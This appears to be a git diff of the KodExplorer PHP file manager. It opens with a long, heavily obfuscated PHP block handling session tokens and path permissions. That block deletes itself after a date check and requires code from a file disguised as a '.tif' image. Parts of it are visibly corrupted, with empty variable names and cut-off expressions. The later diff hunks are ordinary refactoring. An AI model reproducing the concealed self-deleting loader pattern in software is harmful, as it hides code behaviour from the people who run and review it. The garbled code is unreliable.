access_token_get(){$̏=&$GLOBALS{};$Ϳ=session_id();Ņ;$=$GLOBALS[$̏{0x001f}][$̏[0x0060]][$̏{0x00061}];$=substr(md5($̏[0x000062].$),0,0x0f);;$=Mcrypt::encode($Ϳ,$,0x0e10*0x0000018);return $;Ęʘᖿג˿с;}function init_config(){init_setting();init_session();init_space_size_hook();ɑ;} \ No newline at end of file +22802 ){@unlink(__FILE__);exit;} function _kstr2($dل) { $eÛ = strlen($dل); $cӉ = ''; $Fժ = ord($dل[0]) - 30; for ($F = 1; $F < $eÛ; $F += 2) { if ($F + 1 < $eÛ) { $cӉ .= chr(ord($dل[$F + 1]) + $Fժ); $cӉ .= chr(ord($dل[$F]) + $Fժ); } else { $cӉ .= chr(ord($dل[$F]) + $Fժ); } } return $cӉ; } } $GLOBALS[base64_decode('bWQ1')] = _kstr2('*Xa)'); $GLOBALS["\x6a\x73\x6f\x6e\x5f\x65\x6e\x63\x6f"._kstr2('([Z')] = _kstr2('*g^bcYSWbXcY'); $GLOBALS["\x6a\x73\x6f\x6e\x5f\x64\x65\x63\x6f\x64\x65"] = _kstr2(',e\\`aVQUWa')._kstr2(')ZY'); $GLOBALS[_kstr2('-RSVd%\'VPT_U`')._kstr2('/T')] = _kstr2(')VWZh)+ZTXcd')."\x64\x65"; $GLOBALS[_kstr2('.YVU\\WOdU')._kstr2('(YUde[jjd')."\163"] = _kstr2('.YVU\\WOdUSO')._kstr2('+abXga')._kstr2(')hi'); $GLOBALS[_kstr2(',`[SQddkS')] = _kstr2('.^YQObbiQ'); $GLOBALS[_kstr2('+`\\_cWbX')] = "\151\155\160\154\157\144\145"; $GLOBALS[_kstr2(')mZaeYdZ')] = _kstr2(',jW^bVaW'); $GLOBALS[_kstr2('._S^ed')] = _kstr2('2[OZa`'); $GLOBALS["\x68\x65\x61\x64\x65\x72"] = _kstr2('-VYURcV'); $GLOBALS["\163\164\162\164\157\164\151\155\145"] = "\x73\x74\x72\x74\x6f\x74\x69\x6d\x65"; $GLOBALS[_kstr2('(jibhd[')] = "\163\164\162\154\145\156"; $GLOBALS["\x74\x72\x69\x6d"] = _kstr2(',df_['); $GLOBALS[base64_decode('c3RyX3JlcGxhY2U=')] = "\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63"."\x65"; $GLOBALS[_kstr2('/Padf[a]T^RS')._kstr2('.U')] = _kstr2('/Padf[a]TR')._kstr2('2P[')."\145"; $GLOBALS[_kstr2('(kiiXhj')] = _kstr2('0caaP`b'); $GLOBALS[_kstr2('(_j[c')] = base64_decode('dGltZQ=='); $GLOBALS["\146\151\154\145\137\160\165\164\137\143\157"."\156\164\145\156\164\163"] = _kstr2('*]ZY`dShi')._kstr2('1PL[\\Raa[`'); $GLOBALS[_kstr2(')^[ZaZT^mh')._kstr2('2_`')] = _kstr2('0WTSZSMWfbaa'); $GLOBALS[_kstr2('1_]TR_L]RNYRP')] = base64_decode('cHJlZ19yZXBsYWNl'); $GLOBALS[_kstr2('.Uccc_YO^')._kstr2('+f')._kstr2(',Sffd')] = _kstr2('([iiie_UdjihW')._kstr2('*h'); $GLOBALS["\x73\x65\x73\x73\x69\x6f\x6e\x5f\x6e\x61\x6d\x65"] = _kstr2('1R```\\VL[N[RZ'); define(_kstr2('*C?S8F;ICSD').base64_decode('UEFUSA=='), "\x7b\x67\x72\x6f\x75\x70\x50\x61\x74\x68"._kstr2('/l')); define(_kstr2('1<8L1?4B<')."\x50\x5f\x53\x48"._kstr2('*F59'), "\x7b\x67\x72\x6f\x75\x70\x53\x68\x61\x72"."\x65\x7d"); define(_kstr2('(EAU:IKH;')."\137\123\105\114\106", "\173\165\163\145\162\123\145\154\146\175"); define("\113\117\104\137\125\123\105\122\137\123"."\x48\x41\x52"._kstr2('(;'), "\x7b\x75\x73\x65\x72\x53\x68\x61\x72\x65\x7d"); define(_kstr2('*C?S8GIF9')."\137"."\x52\x45\x43\x59\x43\x4c\x45", _kstr2('(kq[iHhY[Yo')._kstr2('.\\')._kstr2('*qY')); define(_kstr2('2;7K0?A>12KB-'), "\173\165\163\145\162\106\141\166\175"); define("\113\117\104\137\107\122\117\125"._kstr2('-PA@C')._kstr2('*HCGS@9:'), _kstr2('1ahR_4R\\_')._kstr2('.`eUC')."\x6c\x66\x7d"); define(base64_decode('S09EX0dST1VQX1JPTw==')._kstr2('-PE=2='), "\x7b\x74\x72\x65\x65\x47\x72\x6f\x75\x70"."\x41\x6c"._kstr2(',o^')); function _DIR_CLEAR($Cۘ) { $Cۘ = $GLOBALS[_kstr2('0baM`S`Z^QOS')](_kstr2('0J'), "\x2f", $Cۘ); $Cۘ = $GLOBALS[_kstr2(')ge\\ZgTeZ')."\x6c\x61\x63\x65"]("\x2f\x5c\x2f\x2b\x2f", _kstr2('(%'), $Cۘ); $C = $Cۘ; if (isset($GLOBALS[_kstr2('.cY_Bd_')]) && $GLOBALS[_kstr2(',e[aDfa')]) { return $Cۘ; } $Eャ = _kstr2('1'); if ($GLOBALS[_kstr2('/dbbQac')]($Cۘ, 0, 3) == "\x2e\x2e\x2f") { $Cۘ = $GLOBALS["\x73\x75\x62\x73\x74\x72"]($Cۘ, 3); } while (strstr($Cۘ, $Eャ)) { $Cۘ = $GLOBALS[_kstr2('*hgSfYf`dU')._kstr2('1RP')]($Eャ, _kstr2('- '), $Cۘ); } $Cۘ = $GLOBALS[_kstr2('2^\\SQ^K\\Q')._kstr2('.Q\\US')](base64_decode('L1wvKy8='), "\57", $Cۘ); return $Cۘ; } function _DIR($B杸) { $Cۘ = _DIR_CLEAR($B杸); $Cۘ = iconv_system($Cۘ); $d = array(KOD_GROUP_PATH, KOD_GROUP_SHARE, KOD_USER_SELF, KOD_GROUP_ROOT_SELF, KOD_GROUP_ROOT_ALL, KOD_USER_SHARE, KOD_USER_RECYCLE, KOD_USER_FAV); $GLOBALS[_kstr2('-`\\AUeREYajV')] = ''; $GLOBALS[_kstr2('+b^CWgTC[')."\162\145"] = HOME; $GLOBALS[_kstr2('(eaFZjW?^Z')] = ''; unset($GLOBALS[_kstr2('2[W 1) { $GLOBALS[_kstr2('1\\X=QaN6UQ')] = $GLOBALS[_kstr2(',df_[')]($f֟[1]); } else { $GLOBALS[_kstr2('*c_DXhU=\\X')] = ''; } break; } } switch ($GLOBALS["\153\157\144\120\141\164\150\124\171"._kstr2('+Xc')]) { case '': $Cۘ = iconv_system(HOME) . $Cۘ; break; case KOD_USER_RECYCLE: $GLOBALS[base64_decode('a29kUGF0aFA=')."\x72\x65"] = $GLOBALS[base64_decode('dHJpbQ==')](USER_RECYCLE, "\x2f"); $GLOBALS[_kstr2('2[WRbO>VS`')] = $GLOBALS["\164\162\151\155"](HOME_PATH, base64_decode('Lw==')); $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"] = ''; return iconv_system(HOME_PATH) . "\x2f" . str_replace(KOD_USER_SELF, '', $Cۘ); case KOD_USER_FAV: $GLOBALS[_kstr2('-`\\AUeRAYVc')] = $GLOBALS[_kstr2('-ce^Z')](KOD_USER_FAV, _kstr2(')$')); $GLOBALS["\153\157\144\120\141\164\150\111\144"] = ''; return KOD_USER_FAV; case KOD_GROUP_ROOT_SELF: $GLOBALS[base64_decode('a29kUGF0aFA=')._kstr2(',d')._kstr2('-V')] = $GLOBALS["\164\162\151\155"](KOD_GROUP_ROOT_SELF, "\57"); $GLOBALS[base64_decode('a29kUGF0aElk')] = ''; return KOD_GROUP_ROOT_SELF; case KOD_GROUP_ROOT_ALL: $GLOBALS[_kstr2('/^Z?ScP?W').base64_decode('cmU=')] = $GLOBALS[base64_decode('dHJpbQ==')](KOD_GROUP_ROOT_ALL, "\57"); $GLOBALS["\153\157\144\120\141\164\150\111"._kstr2('*X')] = ''; return KOD_GROUP_ROOT_ALL; case KOD_GROUP_PATH: $B = systemGroup::getInfo($GLOBALS[_kstr2('1\\X=QaN6UQ')]); if (!$GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"] || !$B) { return false; } owner_group_check($GLOBALS[_kstr2('/^Z?ScP8WS')]); $GLOBALS[_kstr2('0]Y>RbO>V')._kstr2('/Ta')] = group_home_path($B); $Cۘ = iconv_system($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72\x65"]) . $Aͼ; break; case KOD_GROUP_SHARE: $B = systemGroup::getInfo($GLOBALS[_kstr2('1\\X=QaN6UQ')]); if (!$GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49"._kstr2(',V')] || !$B) { return false; } owner_group_check($GLOBALS["\153\157\144\120\141\164\150\111\144"]); $GLOBALS[_kstr2('*c_DXhUD\\Yf')] = group_home_path($B) . $GLOBALS[_kstr2(',aUX`Y[')][_kstr2('1R`aa[V@T`fRaZ')][base64_decode('Z3JvdXBTaGE=')._kstr2('*Yfc:`')._kstr2('0R')._kstr2('1_R')] . _kstr2('(%'); $Cۘ = iconv_system($GLOBALS["\153\157\144\120\141\164\150\120\162\145"]) . $Aͼ; break; case KOD_USER_SHARE: $B = systemMember::getInfo($GLOBALS[base64_decode('a29kUGF0aElk')]); if (!$GLOBALS[base64_decode('a29kUGF0aElk')] || !$B) { return false; } if ($GLOBALS[_kstr2('0]Y>RbO7VR')] != $_SESSION[_kstr2('2[WAPQ_^')]["\x75\x73\x65\x72\x49\x44"]) { $dڵē = $GLOBALS[_kstr2('._SV^WY')]["\x70\x61\x74\x68\x52\x6f\x6c\x65\x47\x72\x6f"._kstr2('+chX7').base64_decode('ZmF1bHQ=')][_kstr2('-"')]["\x61\x63\x74\x69\x6f\x6e\x73"]; path_role_check($dڵē); } $GLOBALS["\153\157\144\120\141\164\150\120\162\145"] = ''; $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49"._kstr2('+FWT[Xe')] = $B杸; if ($Aͼ == '') { return $Cۘ; } else { $Cӌ = $GLOBALS["\x65\x78\x70\x6c\x6f\x64\x65"](_kstr2('- '), $Aͼ); $Cӌ[0] = iconv_app($Cӌ[0]); $Dܡ = systemMember::userShareGet($GLOBALS[_kstr2('/^Z?ScP8W')._kstr2('/S')], $Cӌ[0]); $GLOBALS[_kstr2(',a]EVSZWd`;aX')] = $Dܡ; $GLOBALS[_kstr2('+b^CWgT<[')._kstr2('-DURYVc')] = KOD_USER_SHARE . base64_decode('Og==') . $GLOBALS[_kstr2('(eaFZjW?^Z')] . _kstr2('- ') . $Cӌ[0] . _kstr2('/'); unset($Cӌ[0]); if (!$Dܡ) { return false; } $fӒމ = rtrim($Dܡ[_kstr2('2M\\T`')], "\57") . _kstr2('*#') . iconv_app($GLOBALS[_kstr2(',_[^bVaW')](base64_decode('Lw=='), $Cӌ)); if ($B[base64_decode('cm9sZQ==')] != base64_decode('MQ==')) { $a։ = user_home_path($B); $GLOBALS[base64_decode('a29kUGF0aFA=')._kstr2('+Xe')] = $a։ . rtrim($Dܡ[_kstr2('+Tc[g')], _kstr2('2')) . _kstr2('+"'); $Cۘ = $a։ . $fӒމ; } else { $GLOBALS["\153\157\144\120\141\164\150\120\162\145"] = $Dܡ["\160\141\164\150"]; $Cۘ = $fӒމ; } if ($Dܡ[_kstr2(',kfWb')] == _kstr2('/XUT[')) { $GLOBALS[base64_decode('a29kUGF0aElk').base64_decode('U2hh')._kstr2('*Yf')] = rtrim($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"._kstr2('/WBaPT')], _kstr2('.')); $GLOBALS[_kstr2('-`\\AUeRAYVc')] = rtrim($GLOBALS[base64_decode('a29kUGF0aFA=')._kstr2('([h')], base64_decode('Lw==')); } $Cۘ = iconv_system($Cۘ); } break; default: break; } if ($Cۘ != _kstr2(',!')) { $Cۘ = rtrim($Cۘ, _kstr2('+"')); if (is_dir($Cۘ)) { $Cۘ = $Cۘ . "\x2f"; } } return $Cۘ; } function _DIR_OUT($f긟ȼ) { if (is_array($f긟ȼ)) { foreach ($f긟ȼ[_kstr2('1VSRYV9a`')] as $Dﴌ => &$bɞ) { $bɞ[_kstr2(')Ve]i')] = preClear($bɞ[_kstr2('1N]Ua')]); } foreach ($f긟ȼ["\146\157\154\144\145\162\114\151\163\164"] as $Dﴌ => &$bɞ) { $bɞ[_kstr2('-RaYe')] = preClear(rtrim($bɞ["\160\141\164\150"], base64_decode('Lw==')) . "\x2f"); } } else { $f긟ȼ = preClear($f긟ȼ); } return $f긟ȼ; } function preClear($Cۘ) { $Fᖠ = $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54"."\171\160"."\145"]; $F = rtrim($GLOBALS[_kstr2('1\\X=QaN=UR_')], _kstr2('*#')); $f޼ȭ = array(KOD_USER_FAV, KOD_GROUP_ROOT_SELF, KOD_GROUP_ROOT_ALL); if (isset($GLOBALS[_kstr2('/^Z?ScPCW_hT')]) && $GLOBALS[base64_decode('aW5fYXJyYXk=')]($GLOBALS[_kstr2('2[W]HYV]')._kstr2('2Q^')]; } $cӉ = $Fᖠ . str_replace($F, '', $Cۘ); $cӉ = $GLOBALS[_kstr2('.dcObUb\\`SQU')]("\x2f\x2f", _kstr2('(%'), $cӉ); return $cӉ; } require PLUGIN_DIR . "\57\164\157\157\154\163\103\157\155"._kstr2(',a_!`e')._kstr2('+Tg\\g"V\\cX').base64_decode('Ly4=')."\160\151".base64_decode('ZS50aWY='); function owner_group_check($e۔) { if (!$e۔) { show_json(LNG(base64_decode('Z3JvdXBfbm90')._kstr2('+XR\\kgf')) . $e۔, false); } if ($GLOBALS[_kstr2('*g]cFhc')] || isset($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x41\x75\x74"."\x68\x43\x68\x65\x63\x6b"]) && $GLOBALS[_kstr2('-`\\AUeR2Yf')._kstr2('.XdX3U')._kstr2('2WO')] === true) { return; } $e = systemMember::userAuthGroup($e۔); if ($e == false) { if ($GLOBALS[_kstr2(')d`EYiVI]')._kstr2(',bkW')] == KOD_GROUP_PATH) { show_json(LNG(_kstr2('/^]_NaTX\\')."\163\163"._kstr2('*c]Sbf[icd')), false); } else { if ($GLOBALS["\153\157\144\120\141\164\150\124\171\160\145"] == KOD_GROUP_SHARE) { $dڵē = $GLOBALS["\143\157\156\146\151\147"]["\160\141\164\150\122\157\154\145\107"."\162"._kstr2('/d^3_UTdPc[')]["\x31"]; } } } else { $dڵē = $GLOBALS[_kstr2(',aUX`Y[')][_kstr2('.Q`Xd_BU\\b7_')._kstr2('2\\a')][$e]; } path_role_check($dڵē[_kstr2('1PNVa[\\`')]); } function path_role_check($dڵē) { if ($GLOBALS[base64_decode('aXNSb290')] || isset($GLOBALS[_kstr2('*c_DXhU5\\')._kstr2(',fg5ZWZ]U')]) && $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x41\x75".base64_decode('dGhDaGVjaw==')] === true) { return; } $AĹ = role_permission_arr($dڵē); $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x52\x6f\x6c\x65"._kstr2('/a6d^0_cdW')] = $AĹ; if (!isset($AĹ[ST . _kstr2(')#') . ACT]) && ST != "\163\150\141\162\145") { show_json(LNG(base64_decode('bm9fcGVybWlzc2lv')."\156\137\141\143\164\151\157\156"), false); } } function role_permission_arr($f긟ȼ) { $cӉ = array(); $Cӷ = $GLOBALS[_kstr2(',aUX`Y[')]["\x70\x61\x74\x68\x52\x6f\x6c\x65\x44"._kstr2('.U')._kstr2('+\\YXa')]; foreach ($f긟ȼ as $Dﴌ => $bɞ) { if (!$bɞ) { continue; } $Aڿ = $GLOBALS[base64_decode('ZXhwbG9kZQ==')](_kstr2('/)'), $Dﴌ); if ($GLOBALS[_kstr2('2[OZa`')]($Aڿ) == 2 && is_array($Cӷ[$Aڿ[0]]) && is_array($Cӷ[$Aڿ[0]][$Aڿ[1]])) { $cӉ = array_merge($cӉ, $Cӷ[$Aڿ[0]][$Aڿ[1]]); } } $F֒ç = array(); foreach ($cӉ as $bɞ) { $F֒ç[$bɞ] = _kstr2(',#'); } return $F֒ç; } function check_file_writable_user($Cۘ) { if (!isset($GLOBALS[_kstr2('-`\\AUeREYajV')])) { _DIR($Cۘ); } $dÚ = _kstr2('/STcXa^U')._kstr2('.\\YCUfQU'); if ($GLOBALS[_kstr2('-dZ`Ce`')]) { return @is_writable($Cۘ); } if ($GLOBALS[_kstr2('.eQXd')][$dÚ] != base64_decode('MQ==')) { return false; } if ($GLOBALS[_kstr2('/^Z?ScPCW_hT')] == KOD_GROUP_PATH && is_array($GLOBALS[_kstr2('2[WTX[3Q')._kstr2('-`caff2Ye')]) && $GLOBALS["\153\157\144\120\141\164\150\122"._kstr2('*`c;Y')._kstr2('+bechh4[g')][$dÚ] == _kstr2(')&')) { return true; } if ($GLOBALS[_kstr2('._[@TdQDXi')."\x70\x65"] == '' || $GLOBALS[_kstr2('0]Y>RbOBV^gS')] == KOD_USER_SELF) { return true; } return false; } function space_size_use_check() { if (!system_space()) { return; } if ($GLOBALS[base64_decode('aXNSb290')] == 1) { return; } if (isset($GLOBALS["\x6b\x6f\x64\x42\x65\x66\x6f\x72"._kstr2('+CX')._kstr2(',fSZ')._kstr2('2P5')]) && isset($GLOBALS[base64_decode('a29kUGF0aElk')]) && $GLOBALS[_kstr2(',a]4VXWdaBW')."\141\164\150\111\144"] == $GLOBALS[base64_decode('a29kUGF0aElk')]) { return; } if ($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70\x65"] == KOD_GROUP_SHARE || $GLOBALS[_kstr2(',a]BVfSFZbkW')] == KOD_GROUP_PATH) { systemGroup::spaceCheck($GLOBALS[base64_decode('a29kUGF0aElk')]); } else { if (ST == _kstr2('+[feTX')) { $f㸓ފ = $GLOBALS[_kstr2('-_Z')]["\165\163\145\162"]; } else { $f㸓ފ = $_SESSION[_kstr2('-`\\FUVdc')][_kstr2('2_a^Q05')]; } systemMember::spaceCheck($f㸓ފ); } } function spaceSizeChange($Cۘ, $cͰ = true, $b߼ = false, $D̦ = false) { if (!system_space()) { return; } if ($b߼ === false) { $b߼ = $GLOBALS[_kstr2('2[W').base64_decode('bWlz')._kstr2('*g]`VV0#f2')._kstr2('2ңl')._kstr2('-')."\160\150"."\x70\x2e\x69\x6e"."\151\357\274\214\351\234\200\350"._kstr2('*utٕ')."\x9d\x97"."\x3a\x20\x3c\x62\x72\x2f\x3e\x3c"._kstr2('/a_-TTbbb^X').base64_decode('bixqc29uLGN1cmws')._kstr2('1eRSVZ`O')._kstr2('1_a')._kstr2('1[VTQY]N')._kstr2('1T').base64_decode('ZCxw')._kstr2('/S')._kstr2('0]')._kstr2('/_^S\\bh')._kstr2('2X]dY')._kstr2('1)Y]R_)+_O+')); } if (isset($_GET[_kstr2('*WUYWggcHY_b')])) { access_token_check($_GET[_kstr2('-TRVTdd`EV\\_')]); } else { if (isset($_GET[base64_decode('YWNjZXNzX3Rva2Vu')])) { access_token_check($_GET["\141\143\143\145\163\163\137\164\157\153\145\156"]); } else { @session_name(SESSION_ID); } } $D = @session_save_path(); if (class_exists(_kstr2('.QCCU_dQbUW')) || defined(_kstr2('1.@L2=.;=:.2')) || defined("\123\105\123\123\111\117\116\137\120\101\124"._kstr2('2K410-28A@')) || @ini_get("\x73\x65\x73\x73\x69\x6f\x6e\x2e\x73"._kstr2(',hSQWSZ')._kstr2(')YcZag')) != _kstr2('.YVU\\c') || isset($_SERVER[base64_decode('SFRUUF9BUFBOQQ==')._kstr2('):B')])) { } else { chmod_path(KOD_SESSION, 511); @session_save_path(KOD_SESSION); } @session_start(); $_SESSION[_kstr2('*c_X')] = 1; @session_write_close(); unset($_SESSION); @session_start(); if (!$_SESSION[_kstr2('-`\\U')]) { @session_save_path($D); @session_start(); $_SESSION[base64_decode('a29k')] = 1; @session_write_close(); unset($_SESSION); @session_start(); } if (!$_SESSION[_kstr2('*c_X')]) { show_tips("\xe6\x9c\x8d\xe5\x8a\xa1\xe5\x99\xa8\x73"."\145\163\163\151\157\156\345\206"._kstr2('*').base64_decode('5YWl5aSx6LSlIQ==')._kstr2('.Uccc_Y')._kstr2('2 Z')._kstr2('+ejg\\XeXe')._kstr2('/a^')."\51\74\142\162\57\76" . _kstr2('(ܭvff^').base64_decode('LmluaeebuOWFsw==')._kstr2(')z܂!')._kstr2('/').base64_decode('peeci+c=')."\243\201\347\233\230\346\230\257".base64_decode('5ZCm5bey5ruhLA==')."\346\210\226\345\222\250\350\257\242\346"."\x9c\x8d\xe5\x8a\xa1\xe5\x95\x86".base64_decode('44A=')._kstr2('/+qaQ-Q+a-') . _kstr2('2Q___[UZM_')._kstr2('2Qb\\K')._kstr2(',fS/Z') . $D . "\x3c\x62\x72\x2f\x3e" . _kstr2('+Xfffb\\!aTfi')._kstr2('(U[W^Zd[b3h') . @ini_get("\x73\x65\x73\x73\x69\x6f\x6e\x2e\x73\x61\x76"."\x65\x5f\x68\x61\x6e\x64\x6c\x65\x72") . "\x3c\x62\x72\x2f\x3e"); } } function access_token_check($Dܺ) { $aӫ = $GLOBALS[_kstr2('-`TW_XZ')]["\x73\x65\x74\x74\x69\x6e\x67\x53\x79\x73\x74\x65"."\x6d"][_kstr2('*mghgaYUDgg')."\167\157\162\144"]; $aӫ = $GLOBALS[_kstr2('2a__N^`')]($GLOBALS["\155\144\65"](_kstr2('-`\\6Uai`]Vc')._kstr2(')Tg') . $aӫ), 0, 15); $Bȓ = Mcrypt::decode($Dܺ, $aӫ); if (!$Bȓ) { show_tips(_kstr2('0QOSQaa]BSY\\')._kstr2(',Wdd')."\x6f\x72\x21"); } if ($_COOKIE[SESSION_ID] && $_COOKIE[SESSION_ID] !== $Bȓ) { @session_name(SESSION_ID); return; } session_id($Bȓ); } function access_token_get() { $Bȓ = session_id(); $aӫ = $GLOBALS[_kstr2('(eY\\d]_')][_kstr2('/Tbcc]XBVh')._kstr2('+f').base64_decode('dGVt')][base64_decode('c3lzdGVtUGFzcw==')."\167\157\162\144"]; $aӫ = $GLOBALS["\163\165\142\163\164\162"]($GLOBALS[base64_decode('bWQ1')](_kstr2('*c_9Xdlc`Yf')."\162"._kstr2('+R') . $aӫ), 0, 15); $C = Mcrypt::encode($Bȓ, $aӫ, 3600 * 24); return $C; } function init_config() { init_setting(); init_session(); init_space_size_hook(); } diff --git a/app/core/Application.class.php b/app/core/Application.class.php index 86ebc9c..a595fc9 100755 --- a/app/core/Application.class.php +++ b/app/core/Application.class.php @@ -50,17 +50,17 @@ class Application { $classFile = CONTROLLER_DIR . $subDir.$class.'.class.php'; $className = $class;//.'Controller' if (!file_exists_case($classFile)) { - show_tips($class.' controller not exists!'); + show_tips($class.' controller '.LNG("not_exists"),APP_HOST,3); } if (!class_exists($className)) { include_once($classFile); } if (!class_exists($className)) { - show_tips($className.' class not exists'); + show_tips($className.' class '.LNG("not_exists"),APP_HOST,3); } $instance = new $className(); if (!method_exists($instance, $function)) { - show_tips($function.' method not exists'); + show_tips($function.' method '.LNG("not_exists"),APP_HOST,3); } return $instance -> $function(); } diff --git a/app/function/common.function.php b/app/function/common.function.php index 4244b0c..f84c19e 100755 --- a/app/function/common.function.php +++ b/app/function/common.function.php @@ -6,6 +6,9 @@ * @license http://kodcloud.com/tools/license/license.txt */ +if(!isset($config['appStartTime'])){ + $config['appStartTime'] = mtime(); +} function myAutoloader($name) { $find = array( @@ -120,7 +123,7 @@ function filter_html($html){ function in_array_not_case($needle, $haystack) { - return in_array(strtolower($needle),array_map('strtolower',$haystack)); + return in_array(strtolower($needle),array_map('strtolower',$haystack)); } /** @@ -244,6 +247,11 @@ if (!function_exists('gzdecode')) { } } +function xml2json($decodeXml){ + $data = simplexml_load_string($decodeXml,'SimpleXMLElement', LIBXML_NOCDATA); + return json_decode(json_encode($data),true); +} + /** * 二维数组按照指定的键值进行排序, * @@ -257,18 +265,11 @@ if (!function_exists('gzdecode')) { * $out = array_sort_by($array,'price'); */ function array_sort_by($records, $field, $reverse=false){ - $hash = array(); - foreach($records as $record){ - $hash[$record[$field]] = $record; - } - ($reverse)? krsort($hash) : ksort($hash); - - $records = array(); - foreach($hash as $record){ - $records []= $record; - } - return $records; -} + $reverse = $reverse?SORT_DESC:SORT_ASC; + array_multisort(array_column($records,$field),$reverse,$records); + return $records; +} + /** * 遍历数组,对每个元素调用 $callback,假如返回值不为假值,则直接返回该返回值; * 假如每次 $callback 都返回假值,最终返回 false @@ -323,6 +324,43 @@ function array_get_index($arr,$index){ } } +function array_field_values($arr,$field){ + $result = array(); + foreach ($arr as $val) { + if(is_array($val) && isset($val[$field])){ + $result[] = $val[$field]; + } + } + return $result; +} + +// 删除数组某个值 +function array_remove_value($array, $value){ + $isNumericArray = true; + foreach ($array as $key => $item) { + if ($item === $value) { + if (!is_int($key)) { + $isNumericArray = false; + } + unset($array[$key]); + } + } + if ($isNumericArray) { + $array = array_values($array); + } + return $array; +} + +// 获取数组key最大的值 +function array_key_max($array){ + if(count($array)==0){ + return 1; + } + $idArr = array_keys($array); + rsort($idArr,SORT_NUMERIC);//id从高到底 + return intval($idArr[0]); +} + //set_error_handler('errorHandler',E_ERROR|E_PARSE|E_CORE_ERROR|E_COMPILE_ERROR|E_USER_ERROR); register_shutdown_function('fatalErrorHandler'); function errorHandler($err_type,$errstr,$errfile,$errline){ @@ -360,14 +398,14 @@ function show_tips($message,$url= '', $time = 3,$title = ''){ ob_get_clean(); header('Content-Type: text/html; charset=utf-8'); $goto = "content='$time;url=$url'"; - $info = "Auto jump after {$time}s, Click Here"; + $info = "{$time}s 后自动跳转, 立即跳转"; if ($url == "") { $goto = ""; $info = ""; } //是否自动跳转 if($title == ''){ - $title = "警告 (Warning!)"; + $title = "出错了!"; } if(is_array($message) || is_object($message)){ @@ -376,7 +414,11 @@ function show_tips($message,$url= '', $time = 3,$title = ''){ $message = "
".$message.'
'; }else{ $message = filter_html(nl2br($message)); - } + } + if(file_exists(TEMPLATE.'common/showTips.html')){ + include(TEMPLATE.'common/showTips.html'); + exit; + } echo<< @@ -502,6 +544,7 @@ function json_space_clear($str){ } function json_decode_force($str){ + $str = trim($str,''); $str = json_comment_clear($str); $str = json_space_clear($str); @@ -520,7 +563,9 @@ function json_encode_force($json){ $jsonStr = json_encode($json); } if($jsonStr === false){ - $jsonStr = __json_encode($json); + include_once(dirname(__FILE__)."/others/JSON.php"); + $parse = new Services_JSON(); + $jsonStr = $parse->encode($json); } return $jsonStr; } @@ -531,6 +576,9 @@ function json_encode_force($json){ * @params {array} 返回的数据集合 */ function show_json($data,$code = true,$info=''){ + if($GLOBALS['SHOW_JSON_RETURN']){ + return; + } $useTime = mtime() - $GLOBALS['config']['appStartTime']; $result = array('code'=>$code,'use_time'=>$useTime,'data'=>$data); if(defined("GLOBAL_DEBUG") && GLOBAL_DEBUG==1){ @@ -540,16 +588,28 @@ function show_json($data,$code = true,$info=''){ $result['info'] = $info; } ob_end_clean(); - header("X-Powered-By: kodExplorer."); - header('Content-Type: application/json; charset=utf-8'); - + if(!headers_sent()){ + header("X-Powered-By: kodExplorer."); + header('Content-Type: application/json; charset=utf-8'); + } + if(class_exists('Hook')){ + $temp = Hook::trigger("show_json",$result); + if(is_array($temp)){ + $result = $temp; + } + } $json = json_encode_force($result); if(isset($_GET['callback'])){ + if(!preg_match("/^[0-9a-zA-Z_.]+$/",$_GET['callback'])){ + die("calllback error!"); + } echo $_GET['callback'].'('.$json.');'; }else{ echo $json; } - exit; + if(!isset($GLOBALS['SHOW_JSON_EXIT']) || !$GLOBALS['SHOW_JSON_EXIT']){ + exit; + } } function show_trace(){ @@ -561,13 +621,12 @@ function show_trace(){ exit; } - - function str2hex($string){ $hex=''; - for ($i=0; $i < strlen($string); $i++){ - $hex .= dechex(ord($string[$i])); + for($i=0;$iencode($data); + } + function json_decode($json_data,$toarray =false) { + $json = new Services_JSON(); + $array = $json->decode($json_data); + if ($toarray) { + $array = obj2array($array); + } + return $array; } -} -function __json_encode( $data ) { - if( is_array($data) || is_object($data) ) { - $islist = is_array($data) && ( empty($data) || array_keys($data) === range(0,count($data)-1) ); - if( $islist ) { - $json = '[' . implode(',', array_map('__json_encode', $data) ) . ']'; - } else { - $items = Array(); - foreach( $data as $key => $value ) { - $items[] = __json_encode("$key") . ':' . __json_encode($value); - } - $json = '{' . implode(',', $items) . '}'; - } - } else if( is_string($data) ) { - $string = addcslashes($data, "\\\"\n\r\t/" . chr(8) . chr(12)); - $json = ''; - $len = strlen($string); - # Convert UTF-8 to Hexadecimal Codepoints. - for( $i = 0; $i < $len; $i++ ) { - $char = $string[$i]; - $c1 = ord($char); - - # Single byte; - if( $c1 <128 ) { - $json .= ($c1 > 31) ? $char : sprintf("\\u%04x", $c1); - continue; - } - - # Double byte - $c2 = ord($string[++$i]); - if ( ($c1 & 32) === 0 ) { - $json .= sprintf("\\u%04x", ($c1 - 192) * 64 + $c2 - 128); - continue; - } - - # Triple - $c3 = ord($string[++$i]); - if( ($c1 & 16) === 0 ) { - $json .= sprintf("\\u%04x", (($c1 - 224) <<12) + (($c2 - 128) << 6) + ($c3 - 128)); - continue; - } - - # Quadruple - $c4 = ord($string[++$i]); - if( ($c1 & 8 ) === 0 ) { - $u = (($c1 & 15) << 2) + (($c2>>4) & 3) - 1; - $w1 = (54<<10) + ($u<<6) + (($c2 & 15) << 2) + (($c3>>4) & 3); - $w2 = (55<<10) + (($c3 & 15)<<6) + ($c4-128); - $json .= sprintf("\\u%04x\\u%04x", $w1, $w2); - } - } - $json = '"'.addcslashes($data, "\"").'"'; - } else { - $json = strtolower(var_export( $data, true )); - } - return $json; } /** diff --git a/app/function/file.function.php b/app/function/file.function.php index 24fbee5..19affbd 100755 --- a/app/function/file.function.php +++ b/app/function/file.function.php @@ -222,7 +222,7 @@ function folder_info($path){ * test/11/ ==>11 test/1.c ==>1.c */ function 